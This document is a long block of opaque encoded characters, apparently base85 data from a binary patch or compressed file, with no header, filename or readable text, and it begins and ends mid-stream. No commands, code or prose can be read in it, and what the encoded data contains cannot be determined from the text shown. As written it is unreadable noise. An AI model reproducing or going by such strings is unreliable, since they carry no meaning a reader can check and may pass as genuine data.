zr^gCAB2t;HcVjoha469>I`*{@%wOt?^KuF;xBr0lV3_i#%ESBy6n#yrbb{O@KQ72` zYIWEEI-B>Vos#=(v{!jNP8A%#^A~U4SZGX`J_w2PluvpV>g|l&@n)8=za;KSzA8)# z3Vh*AG=P@ngM^*LL$ei^kU!At=yG8HTR5;ua01p5t{{iwVk)KnK zU!$|41ayahaMbza5I3ACEA9uZ5oq{Pdlw3cxz%`#;$WoM8_J|A zC(a!OPD69tdgxNIO`gTQiq>$Mo&!>lV4pZZx9Lkw=WR7Ucz2ub z(Vb)k+z!eunr%5RI|ZkDyQF+d9Ha^Qh=fWK%}UN4?Q?fLG{cvjc`(0mcogb>R13;V zr}ZDwJSu&JXvg)}SP=6v+CIa@B}PIe#;&V8^x2IPXXT*qCGtk*U6h0lA%g3hS@A!; z8}9=8KEF|2#I>iuu<&VHc~%{HJ{}1dBJ8Z66XT^1K`#~+Ab;Hta0AL%7gZchDC_5q zA-C3pAH(s63Lfkwj+tN3uxfw;E8R;Z%pLngCLEs7c+i2d#)?TlYMNda!~~{yC5|8~ z7*Js*POPT|8#tmH;P^{hqz~`=^9tB}aIaxoSr~p$cBo+MNg26w{ds0ZL^z6duwpo5 z;xk?$Xy%rbgkQzgT&~ZH;vHm$XX=brxJrziYH%tk%*t7<*T~^US2}Qlnp*c2niFnq z*|%}FtuYf?RT^XyO-?azp&@ej5b!R;@FdU2pIo0a_HSIDvBUoh*N5aT%1F`0cl^LV zGSpNBakFLFsP)Ez08x+6KZgXoZhQOq?S9AM9Lla7{M|kw+i~_NUlx0sq~iqd@~}>W z#MRBaSbt@3#ynh=X+(mV>55xgHVSI3$nwq4b^MSiA_g zqaXdBw+?Bqig?Ckb5Yzv{(EmAGK3tZc3D#`v3#bgY&rdappw#zYG!8IF#l&%gZ)*| zzOSpO%C3-N9*O8luzQ?(TI2f?4gvhV!AcGw7+v22iJgsYeGrA4jbmIm*3)Z2) zNq~Jct(2Ev8MKmdo=QLujr7)&aAdcUO?DS?%Ye%!&jaVr%n!M`AHd1nZ)uCUgT|)3 z;nf4LF=i5@-eF8Tr5&{Czv#sFAyBa|5&wlwWQ94^Ui=R_QAmcjv0YvcWPSTb&&x4@ zK6rYjV!t}$8MxEelUr zMW&_)P7v|VJt?{}$d%U`RYs(VyUEHiDe0c9Y5w|odFg3&=7RzQN3Rnh*&DMmF~e7J zQ_z-zY{YkF5kcfXn8jDd3;Sa#==0&Y40=H!8J*OL2icg&$bgx_n5cw3MMfSsyhh-6 zPSNrwrx^MNr#J!p-z)tZ#PjjTwg^Di?l; z&(4jZB}qd(7G$;Ao=6(MwRXQ0sN8bq%YR8MFyC{up8GOjb=$urfo?TPOa z05I9I6UV1#0V6KB-qt&zdw6tP6Y5L@;&?}L%Tfo zsoOUZEj8!>`f0P^6;inS?ctigu)2c8=>gT5sMNm)8716X zblIpv9~)3fUtNMy{wMbBqj!@5-^Nks>vV(6#%Pr`d~yq38uJ^);+OvQL`X({pq;d)h#j z$-LDK=E(k?oD{YV%eGTf)s(^~yTe-$uHQ*k(W)eYGi6+b>WOQ7~xDHcj% zSo?OX@#yp9Dn{k3U0%~4!Io>d!3v^2fr7r{acMs9c~xZy>475yma3N0007y#&gfc8Y0`sbu?HFS$gMAuaW8SDG0dqC}*a3^?)^W}pfg4&C_ z#D+B)mCUUxZX%vJM@|YJc88L{8hMa#5VM$<_SRUOUEi16e46ZU*ClhWvtEK7s{O-x zHirh@Q4Rn2Hj?;G|PV%jKmroxk1D5MAf-=7g-4(V>@)_F|%6pLD`$c z>!z1K`3mxf|AL@vEciF${c-<-pFjM>&k|#Qi=S`S1VMjzOSacgxDWYtJ6jiIM+m+L z;<{pCn@8!?Qrzvtej33sNWgO>L1fB4f{Ko=GQ&!p9{-iptZiSHn|N08FwbSGcB4cV zE9CJZ5pZH(y%$Edf%PV=JhkCH_|^MK6YpE0M_bLwg%3g($%!T(b}0(?bf&C+6D~f~ z#2v5rx!vkP>t@qN`|j$&E#oek<=naBywOI@wq?n|zjDT&C1hMfIS7>hc;At+Pfo_v zE$(hqOw{Q|1{kzlpbDM6{j(+~WK*^3_s%z%3KJ_g<#jD%s5c0f>b=wapBs;_cEy2F&-G`TMCPT~JXYC?s%1SJhu+%I&x)<0c#-<9Gi9qM_{b-wmm zBSbb5m%uOg$&qeOlO&NlV;P1dteb#0lQE(a%r#0;7Ew8!_4au0gesxFjoh)=@Z`Gw z8k(XI zs>_p(3tm-7Kr?hg)a$GeKokWHPTrO8)#g3tNh~uER36+k2+FWe`a1TBy7~ZE!~#I5 z9R%o!h`}0;W&db+ziWMHpx!kgGJPfeYu|5}o45GAAY7j1Dp^o~>94!v$Dac$65I~v zmeZFUkiS9PAN-_6-%+SEs~IlZufg-55?Mo{4|+8f-*a&O=BP{%0@&WFMkEy5q{A6^3aQMkjPOvHh@vR~o(HSV?(!^7&(! z{^wu~LXi%`ew}GWhMk~k4upAIuO%Hn_S^tqMN24hnIaY^ zUY-5Q?ZiD2Rzz#=<30NlVzqPq-DyuW;{G$=$hS8VN{qbH1RCvFyRck57oGQzAP?tv z%6C=r14-|qF~{ke->g%ZONqB4FQsGN9e2U$8!kUr?l@X_cQ_iIdty`0sLvk?(N;uy81A-`J`nXhfKz-!SKQ zQ}2%ri+F@5d#yZ^6w7nR1OIO3{4VMn@e>=DQZ|%vZ#Ji)oh&wzaWlKTkWitmp<(oM zc6)2%7=6Q*_18Acl-u;{HM5)XpKO2=`{*OdTsCb|rfNB*Cmb|ABZSJ(7a!Pem7P_q z*sFJni*bTa%(vs<(e<8FEZNJtLXelB~;#MT2cqC#tR>J)kI3iL>H5 zNKv`;Ip#iYXX`lTs5w!2;O*&PtWsi;%9$X(@$=OBF+vI~njGs@g*t0Ik zu<4m%)Pm;;&v7gq7S{(!bR81{`gz1GCm@?SlZAAl%H^@H$7Ry0U9?3F%pmR84q7ce zdAuwo9L-^{#2r7{$yi#LiTu$~Ac?0HbNaz~9#LVC^dqRcN_i=!2>^0K9q-K3koSx$q3u%>(*z8XCXkfXQF#Y@MXIGMT%bytr@{CbMXL~#;ps<* zrHa-4ap~vRYE!VeS#cGwk4iQ*Zq1%sI*Z1VtNUEtV_V+VxAUFaAX?VJmZBASKZIuL zw>(}405^B$y2A78F4e#x1r{berSsGOmXYnadv7SPi1$Bu*`uqs}{6tanKkDIsZ;7_qxtTgPv7wbHX)xT|>C zcHPe5443mBnnFdajeHVJ##$5KEBLc5bsB4AbT^rZNIt@EMI%JHYM?x^RfJLwZ@wvd zUPLM^KKd5Wc`gOLK(yX1dYnk%-K5s{?al(7;*eOuP>`gFdv;WEHPjX$K>_Fh=D@bC zF!M~8+5oI$_Rms`q62TZ+iodC6h-#vVl?tQ{5-4vad^1F#o$AFpSk?#;d;G$2_{SE zy<1maJ!yAhm&touKZwzYuGO9qa~w~ALg-%L8l2eA#R+GiFK3iEj%k}+N>!^?A4J)n zAV>Atkg0qYa*W-Z?-Y4E!r7zu0omU62;s|T-pmlyWYJR-2}dczol{amB=c+~P1aHx zL%_RcWtS1z%Aa&YE;=ti|=4v#3*j z?08_Z%{K$*fkDgM(gMTT1D$BKh}mM{ZfkJ9^j0%>JZH^k^9DvPV(Pf`3Fmq7@QARI zC@r?m>QHjBTHwK(LjAK22Y>T<fPCfa2wrJbvxG=_+>X3{+aYmKY7&ai{c!$wmii&Wuznx552^(w%QBeKlpFA(A4M z1M#7zKgI-_JS=hS-J8#gJ{l=6o_h*oiB`aajSap(R>I6pPFf{z#^tAv-KoojB7sE| zkS*U%Zu&2V_rXDn;!tU-SjfoLXLx^j!THPo%8oa?@O$Pvcm_mDef=}q_~&Nvl>q^^ zeHTGQK+F3iAHN`3DBW6SkZNkIl1~vzQRpsXn-x~4qUT;5gKU&cu2GfsGj_Yp)~E@Z znkw$bkO)X9N=X3>8|*D93p1w2UQiYGObx_)4Z6!^gQn4Fp6mX&wJswAqCurj&+F~#SjNDjJlw&t9yFDFNNgA(QA2qDOIFT6N#cv? zPhTJM(7m|?QN+Mn;z^i+ts6qEaPHq3Y@Bxn+jK4rUMu()5}T#>UnF+=+3FA#G|YN8 zHSTAe*#=M2)ED~A97;~w+6S?aq)GKIWRZL|3}xlz0Q}hx<5kZ<{&jJmG@m?=zd9aR z>t&nyJiKDOHCKirl2oRtAztM*x`HvvDj!iVZO{!dM+IEDP{K&|vC+**cA$3m;k!@U zbn%B}aapp?^!}L?!9%6DuD&fdl?v!V!7KSI5wCbV%>e);3-sHbO#-ltVv!I$NXp1p zCGRf>?+-*zN**#-a2{mu_N*%^e}ue*8(JkUaKwG7c;h(AMAo`634pM!UHN&IZX1Yx z`LI1BGXU`c@LeTs_^NE%`-ut$!c`U7l%qNuCjRl5vj2|H4-5$^ary1DuPQuyEOkrp zeGX#VWD9D|NjXW^cqUF^QtY+Jo87C7mL^9YlIxDSX~1O*rlnmdC#Ywx>O=(5xDfgd zw*7GnXexePUID;D1GL!la>w_*^#>Ad<|!cm#l+pv(dQ;)zH^RY;k*79pPe<=t(rwf z^;KawNaRv8&4Xe8z?>H_KJH**8+JS6)g!9jZ_qMp$R5p(c)}fm=!*GpTero!3UeE; z$*&-tI*QC+t&KYh?~M~DwHcvebk_ClSeC8j)+c<|wL^0Gbkk80IZoHX>z`gMPl+er z`_V1WP))h4Byi0P%2SyF6#qWOU$6m7K#Mza5OePs7xK7Ei8q1D=dG?;fz#k0qOxJ* z+EgeONZX5$b1fQ0lfRDht}Hl(#GywfYDJNnmFxR?D3GIet4K6s5o+TGs3c;e#Ba*O z-J(~9aA3t)wCnZ;5)xr#s)$4tGC~Y|Sv5atOpBriDvfzOcGS4Q7w77tBiKK=x#h?n zk{K{A-SrVn3+nA)XBO5}(+Z7HWQH)e8z#aucPcqHm3q~C*;uL}@YKohM-dwgIbA=8 z@}J&ima6#@SI}(*I5_4S7y7De%}3Sp48K-Hb;dV?#$d4sXg}YpK!wm(_UXiXk*w93 ztg+09=i)ntdT8#9tkRoKZ;w9YC%vIPMh!q!Bdgcb9u1qK$#cCDN#U||DLx22TK6}~lhl}mgFb`Jc57EcWADj$f zGQ29n?;t_&%Pupc^KCjLzm*Xn7gCTVbe63lL-w*sAd$}fiKL|SZGX3PR84% zEtbe)CNbDeA{y7d<(`?c5v;5e*$T)?rKK`n-n;xsf@pcbX;EOFN}WG$+%3IK#}ALa zUSzmODGe2vt|3e8k_#^ugk?Ma2W5Xx0i*6||H24Nuf{O5xZ7%~TBgsvA>MqjS(-4^ zQ)%a@KgzPWjSZ=Fa8!hu+Iz@um8#Jl2EuTTs7sC*;j`Y=Lwj*?HQ#5RRX3w5(tZXy z$D=Lzys~PIF^DjO`%4B%;_0^x(%_9>jp_xzn0~U5XlKU$U#+yc-sBW;se?{@y#CIcs7$CJ+fzXgWA-q*F1B38K7x~{}+LW^pcfxb7U>C<6G6e6lS8`JCkuSDalMva;T^uPc6Fvp;DPCl}=p z%T`g1QW%SM%Cwwf=Yqh(itu{PM>Tx7Qc&>GP9h9mv;?}@r2siV|scy zpZPeZ*yb@tsrhc|bxJn(*^4e5f1#SlOE~oF(VL&|D(KV9(Syr$(I_79>q*DE(z|sI z0Nq{$9Qc=2{3R4rH$9J|_fw@fD|>I(_E+g8jok4EcZuq#H*1B0l*rOdU0U4Qcz9eh zNattiU9B&b^V29mDqA{?{I=<}GDeGV+dN7RPd6awr^CpUztH1346p}?>3QkAaY|^w zk7Mg`{&z%i)!>##z#@N>{P_R~2*|F63Rw^QYb^2M&%sv(P{%Nf03IXXFDQSLa`NRx z_}E9AQo-CaIyYya8@?55b@W1n<79rJL%%#-9a&-B2&7J5BuKM^!|^6k>D?yZm9j2Cw@8dW~TQLapAf0}jmCWq-)}8Cz{rNWz>u!4WR(H%mON6`L3Y_PG zLV9>=b}i>qIFTHr0#xy?E39#cS{@i=q)x}vIgNw9m`InKTUtyf#X2HX*VCrq{?i-E z!m`=K@rz!o->a0Osd*}SF(5}{IgR5AW{-=zWinyv^2j1qv$Gv}^w(Iqz)YgJ_dUJB zXde9gR7W>-`xE+pSGm0rf6M?}Lt$1GUn1Mg-Sp~r@lX#!A%{tIb6t{SyjxPDG4G2Y@3)@ z8uk#?GZ~er!j-W&fJ~4k+&OtrJ>Ck>?mhMJn9)TDiBa~;(tTeXylbE_aD!dcG^ubO z2@->_7KWdc83H!im1kJfgDLY?-G$qhhzF} zp%LIF4*0BL@I8t&w2m1w-!YOCcv;MbYg2Im=GGar{U#hPyHhTPvyEM)_%=|5)W9y& z$HgfPoIuX1?P!WB+LME^E~(TXGiy~SSL4~lAnwna-E!HWh`sCss&Y=B+fKO?WBt)0 zyga=2FX7blN|nL;k5o-9g_e~$KC8kvbUE`lR!97ZuI3T=XE#dQ{nT=sK%2mM5Sd#V z)Zr4JEwZ!-^kLpS=(9Tri3k~S$WDigp2Q`bi^Vv_UBer{+hKnj6tG3fKc)GR7;S}h zxWU5rIrl>sBtR;hwR~)(zzDys>^HtYayn;U|JIevxxNU>uY6{0WTx(6zjIxKUzasF z+Zbiy85S%FWw?mPH2O5Wn!)690fvgT`}KzmJO)EQ)wB_uYJZs`$jfE?-ffSo`s&QK9Z=q`4E3->7Z%f?BAxgL|HTFKGO>+#u8VgW zpr=RBgF~Bt)@iCQP$i}8byuwpBR1H2mlf2N0FVlwLi!_lHM9jW#(S5@MB=UGx=V3u zIVd%co^_`3+lM-Y?l%hczJ`WbB^}-c49iWbt-It#wD?=M>FUeo>~t=t>LtG9H9QP> z3s6tF>yx`I9y-6f`-b!Fk_yixfPPsfhU~cm;{9(kOfGe5t2*r!8nBKvx-l;+l+fo~ z+@$_a?*@#H-HNU4)pCoC+aaYRb*k(2lkRrUKK$;CN6+%#L>MJX_od5M&0@g2xft0@ z-~VV531&J^?t;V7q45yP1ko>n6d6pTeP++4y0o{S8BHN8?Y8Lwh}LAgp=vk+^4)j+!^1)C*TXfHH26ec{eA8T0& z>c#6Dpi3#dGE;BLlsxgKD*P{&UgpPi1X0YSH$1MZU-hW3TyUwof>9aE5L+vvkZCYs z|7jQ)7y3iu(S*Ca?G@66-n(LL@|36|eYDg)mfXrzBlPlt0_c`pJhYQyquu12hQ$d z1n=xucT0qoyFVNZ>JXTLN(u3WCHgT`4W)j&kPQ?h#v_gH7Z@>wf8+d+MN{@|Nx(5S z!I#5L-{7lo`tq$GjN0<+M<;{#T8X4HP9=uyV+s5iXLp3st_UY(DVfTOfinW_hgDWT z)fo412IIkTD>OS$V|||x(z63iS1NWb>=@G;^^AhJNb#X+PR4X_Nh#QR8mF6~rGw9q zZ&PoR&$};t*3v}nX3J8AW>ApiveI!bjWH+O(GeSriz-X!ZA8WDDUZG*M1heA8DC`M zg0}r;ihp(i)77bv!$!{k0@x}JwnK=giW`vU&-xF)_Atz6!a{31sJMeN#)2~f86}xy z&Gjg0d;GLO7)BKTy+aeQj--56JSL!>vdu$GI6 z#63^4Fwm}>*cORB%&UOEb>VU(zEO_Eo}i@={-sgfF#m^9&dCwGpjhP47_~@3gHmlz zCmB-2R(atXG(1gAZ@GAMxR^~Ts7IvoKqmA^qgIVBe_UMTR5`)0d>W9xsTI?$x|B$& zzoKY_GWtX_5>4Lx4hDn$l(tRxmD#hPWs>@%K;lB;h^SG04zi0TKh;8R zRX)>0@QsU3f7A~zJ8*46B!VV~ZWd7P*=}j#l z?_Ti=HG~m45Sd0v&~oUSC$-}5tA+DrNiPHOHl{?Mg$0yee1JZM(?JHJrO#Qy=_WQl zG=H+`Ol9s4&ZS2ywPpsQk_6S>o_WwGTQ8S6@@<@x{1CgWN>6{6?v`;*0=B6(~LCB zH&MFzB?a2|y2thi^r}FXyQ1l+PWZKa(pj>G|xH2Kstm7r)_YcWnQ^7M6sGfn3^ z76qTN+V4A$UR)YnJt6zho!hE);>wqXK7k%btyNa+?c=#3rOG{oq|cp86XBgNKp|!8 zu&0xmjnmF5cYr=wX|mIsR~=6bDA=t~#!caNB6p8Y{C%oo8$|kR`B6~ylEJZnhP2N4 zvCpNLFS>{Vd8DgDB5FCa}7$j3rs;});hW=_xEn*dQ37arWN^GE`f(QI>dCqLzLm!G)h-D78PUo`8)OF%i@pu6YaR` zC;Ul_w}OLBoXF?pM&-!WgZ}ymQel7>+fYqEz-j&x;C}i@**rFS;c!8_+@&9T_sUbV z{WHaIXYjvL4AsDMu5bUJNru#_eYqx-Z^bJ@A4;wR-AtLznWPQh+?Oo?xH zF_*k0p^11J+e#?NRJ3@|N#sQ&)dg0E{?{DCwpD0S*e4?Ot!>mw&o1{>|C2-spEs{7 z%#;1L79=#dkGXtOdbI!ckat_0X*v1!-=RM&RgpAD`NP$I#{f7+1{c)6RGipwkzC5R zz1*Rpv0EYNfZ|B3D&lZm-CU6XM2Wi!o5Mb}UA4niXk%<`dB7(lk988E-l7ZceFH07 zy)%>Z&~(uxjcG^|bPVG`+?R-xtIb*Fd=|?Ug^f0l?a(I$0{AV!Ex;Qq(%}SBmznmV zaaVSQ$@HR*mzbL|AYDrOj#OW;N%A}h0}JR34{((4TmY1ko%VP&Hc(U^X0#~HlzPKx zC^R}t$L!Bh8(yEU{~{wwdpcbO9W6+Mj9VPnPZ?S-)B#kkxf4 zpuDlk@x&nzba^*O8K&5sG*4&Vd+d|+dp2O2-{0?di@P69=7%P-HU!QuW$%?`PAH(y z96OQPGOC-ekM7Tzg~C=+R>6Qj!E=y(j2qG&K3CiX+7N&7l(W5g5h4I=MmsK;;AQ?D zR^J1FIfhBiNUe{QL4NWwvKH%of^RCIfK7M*hXF)~)lWc#o;#gCnMmg~5jPtOm=)mP z^Y|V@`c1_`S!bYWE6JVhKQ*l%AVdH4$A19e{mR3iqo9fLjH3tD|33VU6nY={LBH39 zw;h)HsAlCGUtB!ggUmCxX6N6-@cUQ&<3ims@0ymVbc4D-wIWF0$^HJN6w$04n_Et< zmd(ls(y+qwT_iK^T6FKnZ!AQR(|8B(_P~Du?}6{O6RS+pIQerOXWCRek(Fht5o}m@v z%P>kc{bG?n`)QGvv24)d++uzA_LdQ=;fn;ij-m@Bop#5>W9wvMBRlA36&m*!grLH@ zjF8RTb*^v~@muTFtV4w)Kbm|HGVdMf#^X;}hZkG-tSe`1sp-_Fi@aPfTDDo!y~Y zMwj1EFqIYz`CWIR@KNqzPgDPSN2fjHcCqe)LT1^hke{w;EqNO9CYyBqy^vb^L1ur4 zLyx?`7u4Y#KB=sn?9dH(@fGE&%pr@%2M%r6XUOn)B8BVg3)=K9 zO!$KwQuEjCMXGfFvyDhs&)#W|$sP6G%}+z{&5L{2#K+}oOutQytNk{KZ!9#Y*`2p!?Dn||=Z{KZ4EhDq zrv>LfjC$RXLikl{2IB!!(R zhokflEW%dJU zFW*81krr3!1sWO|2pAFGDRtRu)`gP%qsl_QDW`cJU68-3dis}FsPA5yZsIrh8I}=-ic-z&;Fv3G02UCu z%ivHg;bDHy1HVNB9`)5S%T@UGkDF|2Az5F2T5cY#NOo|VX4ysJjf=7%4SK6cus}Y4E5TL;HrdaNL#!U zp0SZuS|~@|E9UL5HpIvoLcax+da>c!?MV5k5?Y(T+$7e zrs@!)q&Z_07Z@Se%WhM~{%PV+`HP8zxVX#jpAV%T^)HzN)7pZ8?Lu=53;cypphj{5 zNkt{3$c2?sH%h}0I_Jd*Qb^*9c_!8CXiR$lva>?X6pjbem*St7kdkeGTxV%xZrOGItt&evzG@lWvu6C&HA zB_WsV&oL}Jx{Gr;IZO;zQcCF?l%Ulp%(-<+PG7`J{-zLIz@F%;58!pymS+$mmq&_1 zwyTi|4;U5yW8{Ij2xu9%97^R@L~Fk}fwQ(-aHb`k+YfF|O&d0=nFy%j{B|mD+f_Hw zIe>R1Fx`&_=rvXy!o=RFr@rP}7_~-ME6Kv=>0VJbTWdSludhxY>7L_dC$R%v)yR&$ zA9J?`uwt1e9~)kTtWt%k#l_os3`=#3ujBf4o;nHen8XvGMN`*Y<~1DTlL<&BT-J}! zA3skW(TZE)pkBX+9RChh4sZebENMBslItB}zG4eBl!99+wNjyNU;FryW*gPr7QqTS=F%Z2$!d3zPFDe3m3xQfl+%DIZvLC=y z8f;@bdLA4=sm@@)qM%7fWz*yTs$9@fgt`@Q4SZqMP+@k~kP6^mmZV(ZUHR|&ap~|u zeN*dY>)!!S9w-?lsCKU_i~^+Dg_nlk&6M&S$ZIizd(&nD6GZRzqu8XP{@WfDWfe)gB%cnpYe^^jG0}EAv%t=uN{We zwA&?3A?-z&gk9=x2(b|qteB=#&$z(l6V-31>D2}lwEv$)<=ioVCn>~aC`?q@ zslJHcY&b^THtzUuHC&JJGXOrI1^yR}fYg@m1t#2B$ser$w$Di>i0Zs3#&CU*wqO`3 z=`F{&8tct<;1$B)=d1&@uauzV`X2>%6YBl6YE%?uc?AVekT8T|o$=)XOUeBi4~>AD zJXeOOYetci@w?nymkAlJrrusA4dX^7;}SHqNr0)^e{2zxl=rxSY}FHoZWqK+f=Xlw zK9%l16drsq>z?|ays*wz=?^t}$C!~bC>r%VfXRWvro^BTv6{v%nClS#O>f4Ck%80} zgouG2B9+-(A7&+m(HKNZdRn&wISxKkiqF=6xd@N~F$L;P`hh#%*zp0~ouSs>$0pth zo!u(amwSj@w-*c^R^x!0ZR7Pw)JTra!dG$Cb!J_xjlp@NVXm!dNPlt%|2d67@wizS z*DOM##g?A#DA4BWqh6I2wzm7X^c0zpm1j9~6`Z7;J6}c-DK!7@t;5NTSQ2~0yKh8u zMzH!uUilv6_U60nfHxBW{QF&qXHR_(b2&9fH;;SyK1G8Y&<}SlX_^g211i!)u!c2u z`pdsSg7;F--#~4%ppe&W#)ef6>5GUrvfr@Oe}rPf9(OE-pw=HF)QbqpJ}m4Ggkeu- z267y zEw2>nziDa_O!UGHvIJfr!dK z?Pk0Ed{nP7eOiRwmM!^cHshZD`mj{QBRI%V6Y%Gq+LDgD9iiijx#k*uhAAa5r0REq zxaRJBiO~rtIgG5S$u3lL96zSIk_M25y?SchMj=u&X?tqIyHG0<3jA3MpgG`;LiZqw z*&#FU`axcn+~PH$;Ue$q!Dr?E{0+31qqA-S7*f{2PFK;#`>hM$R6-mdnmX9J`dr{|F`Qn6$iKFBqN`9v$;CnYxG(rLz{&Infj{!2 z$s>V;TqU z>X9O5$n^~*j>bFQ27WrT&hvMVj&)dCzFy?-UKAt?@i@C^E+^3dmWK5gl}`W^ zR$}&AZWA!pnsHaXAzMD)x)FhAt=@@a)=s4s7&gZzM`+?n?{Pxn(`J*RZ;R>@)`Y)k zp@yJSO-Hz3HECkQ+Xg%4M$v%9);6zdJ{3>QOlN7sUh`EX2ElrASd*IJMwg7CVMtd! zz^d{()K&=;J!NBcnEwz4>9@G`LO*e9vqF7b0vAn~ECcXk(S@o!QEIa&zsz2{EbTzN77 z1O0yh6;1vS0W6VBqWbCARrk+R+Rs_){j&e#oz^TVCG^Xyqh=d4m$Q@gP8D8D+ZrG< zcX1GMP9tNL8koVPo;3b^B!B(f)07YItIw+ChQ6MR{eVQRumv{3{Xm8VJ1^Axt)2*F z`;PMe5ciJJnWj;?a3K|=Dz>dRw(V4G+Z8*h*tTukd1KqQS+SFo?w+3M>ThP&IlsQ2 z&stgU%6hQxeeDZ79l}48&7(i9THx)}XSZjQP_R`X?ZIRA(E0?JIY_=W5NW8cTaYE5 zFv57|e-UK{!RwyGm*nNpP=Wv}ecbb`No5v=?_4e_U^3NoKzD9k48yK!DkyuQUq*Hu z-rLuc8JCMsO}e$S#cNZhWkHAlP$`Zl|4<19@{c<>5e)L9rIRX$-yt(@c{Yu>t>;J` z0TFD>0TMEducAJrn`0&4(JJSgX;6=NUsPe{T}*kX+c>Xk^%iPmHlNF8j%3bjs#WDm z$qm;bd3Z@`BfNJsE=fCKb=%(9REdiRLAH12Duv)>p{Td)8#mk&s5(=094$+H!abqe zILIk-t1V%YQ}*pl+G~k0qUNGbv-aYMeZXo4F_MfLa7lz%vs!*-%Kvv2-g)AOz7J~b zSAn_A%ZxqtJPW)eIhCJ!H=(4kSh@$&fQOQj?9*flthJxGj~A_6XMwJ2WC|_1s5$Zb zgb4&YLt4v>2lXF_=8cM*G;g-CE_Pwsv}qfIzbc4&0>`CFhSZKrnSta&Gj^Wn*}vLT ziTSz|!|-$1TO-u1Ct&ZMWDwg!fgz^d1t^NYwI&`kp9BOff1WO1|2U@&HXm0A<1C*3 ze0t;bqUYXXTO@igvXFTF(?Z-sQGfhnuc+V*&5!qFiLfw3$$S{;YfWzP1p4$M1{)(O z7x@KUNr7Pw$|%ldrY@^e_+-X#UIFKxdQX@TPOSKJm@wxAc=R8}uI33uiu|z`a#hbJ zt{2Kk!4uB6e(!<>3qAC7r?^ufCrkOxvjEH|BUKZ@mD7D@9QBMDeI~l9tH3Y9EACqa z-NOs?@p^5Tk97TW@2Kf(OVUY%=S#4H=H#Il^_)*!yH5Pil?g_p=|l3pCq~cbz;3-FFRyp23=nEr`qR|md>~XsW`gw6vmmU4And8&inNP zMX}X5fUEh(C-Q)JJ6?u84sjmZY)|I7yS+LLNrWHuv<8`*)f#ULHjhUI^7(Z`%)D>T z6&bnIk=)}<^-i*m(>czEc$#tx5n5mC3L5uv!LV?aA?gCtf{oCAFFI`0AG4Io4o)P* zwu-2XrV2Ut%j{X)Rr2hDr_%s-nD_#{nnHR{vl@0uD5?T8*iD8ZaT%@`zgW2rZ$u=g zsxIVSZY);YU~(v_#);;#4UKo3oi9VJTz8UO-BNPn%Nn zK}-YSy5wkBP`5{+zrqMT3}aZ&a6=p3#f0d3Mb6SEPv^YuW;M!!rrl4-yw!P!)(2(W z(Y*?k+DG4>8&ZUR%V=|DD)21I94st~S$8iN_95&J!M&c!b!}l<8=)%3D~79IXgw?x zw&?0{pX3Y9OQIfwt-hssNq5Hfv=~gZp0PKHOGpyDO(hs3F~?R>imstWlfJy~G|r-Gy52;!(d@ z_a9abQfy2V%AGL2Hl**OFah8w;*MXJhhXX*KQk7L*}2MeX2yF`3q;CL#3vJ`dPKe` z%-|Vu_$TItQnh=v{Y3g$bWrz&we=D{(!U8x4wTnER;|O@On0C>j3gU~%Z9*|UUToB zd3ixXxn#Su@3V;>po8a zJ}w{gecgW0c0|(r(|ELKH}^j}-Z&rLju05PlUIJQlssxmtNRd6a{HmPUElm4 z(S&tVF1hX3?uK(MhA&XOh6c@VY~S;qCGDb?QVEQ1VIb=?nsKUbSc-_mEuC1SGWAc~ zEvVAVybCi+359is3?@uVicMA0s2&pz)HY|@@`>G35#-wOt6z+s7bD=S7_$-EBnsXM z8wGrQv2TV-vC-D2N8KAoLh0hZ2_~Cn4)=BD^+i2|-kZ-g1Tf9fIqOiTQ{dMjCIK?Z z$Osss;>C4Gspx1(nlGl?tsgmKAs`r`M_OaAEmnvrgijgL4pZd%=cex80ydtQ`H~pP z1r1h~%ZUAtKC1ZH71Mn8KElh^tF{cY3=Ny4e&aJlp&$;^LESXutSV`cre5Ap2Du|@ zp&^MAR5PY}O@k#ad za|@@?T?1wNqdBj`j^rIw`+j$IiQkR?1)6RgUHg5XU&nGZB~mgrKd6Rd@u^K(>Sy}2 z+X9+lErrfcRo}OF1FHN9Tyq*sx&bM+AtfuvKEAmKrTm49_56`?!=NtsB=ke&Q9i_ zybTZVu}|qzTM(w_$?Du+OzbyRbWH%q@!rDs#=P@AgE*eD>-(=wK2LU9G_^w+IRad_ za1_Z)D+uzp@de&v0#+~GI##8FsuZj;fQ!sR$WaQ>-?9v~?`I|XCK1V(SM>5-7Xv4L91{WQk=`=C?XaQ~gUx5Dx=G)Izb?W*Y^6OIdCp!B$YNnT z@Tt5+5ytn4w&^(2mbfcY?7qCU`X$=aT0$5u6Zl&@@@o}=2T+P;R~vypj9!Ac1^bbg zoemn*l|yhx9vVGu5e=TnE`-b{Gm|o8#xsw?%naTv+O`D4UV=uB(KgSbr$&D!AFHye ziL#&Y=NN{huGAMJs?f{t=SBux#NwdM1u^@88M4+B1g%aO0na8ZU7dsbXzg-cpXfsq zk5N~Pj09{9^Ynt)Z_ViCaQDIp)3BZ&;x9+s}PC;2=41Lm>NpMG|xm;HF?fTg(#|Y$T!Xnvo?M|LHHcj!$ ztOVx(qH0}j18_osCmuF);ZPp7Z>vbChG<^%cYQj6{Ov`d@hg4tytsprUtKuk)Z%4j z-=iH~`f=e^D_oLZ7!Q1pQ^d%Y6QU((elt`~6oU+a*Kq(5We%1r=pPIiUn!Lz()|%? zQ3s%-(OWC zAI&&qjF>t3Z_T5Hfo(f!X4U44I|2_y=;u-yl9n^y^kx)tmdVkB33K^!U-9UntS|5{ z+dOgjMp(Cw&?1L01BYb?pMn{VK&Ow*WVV8fF9mX|WeSj|0r{{XMX*)$`lF`1t?n?Z zerYI-Z<4ySy1KMgY8!FtnjdSRAzny`NyYkxCHfd%qIRA!tR_vCypf~(8vUS15OSpM znXtYpVw-KEA|$Nm&&xmSZlk@>SWQ(qP6zY=EEm?a>wGvcx>p0lemWWe-AZfU?#i zExt}f(&{`6zyXWnE2E>mF&YZ4BKfx$ALG9v$)A1nI^ZK6TR+2|*r)9dHluy9^$oY; zIT5N?58|Vwu|n&ZVll*PAvJc&!#maq>Oe*rd1Z2Q!keZGG(?OXtlRwZO|5|?PKCAi zz~{o=c$qiWI&j)o(Eyt}7x?PoA^naJc964BjT8CQ=Vet6CQt_vi{t>K?6jI;YhQT% zxA(y28}2rIdUCj`22BGEc=f_!g1g6N&-@9poUJWEQ|`WeJWyl@D0nx$8ZwZutR>0z zL5T`C9Ia4gRca0OcSp!v-1Fn!EM*oQ2zz*p(kuqtK1z(#S+kwv&-vbjq%UBOlzdu|y$ z8{|bj)1wS0_11UxuFSqfql|cYo(Jwa+y+OX$+tC`oq{QHXnc*0D2_bjazCd_^F^tU 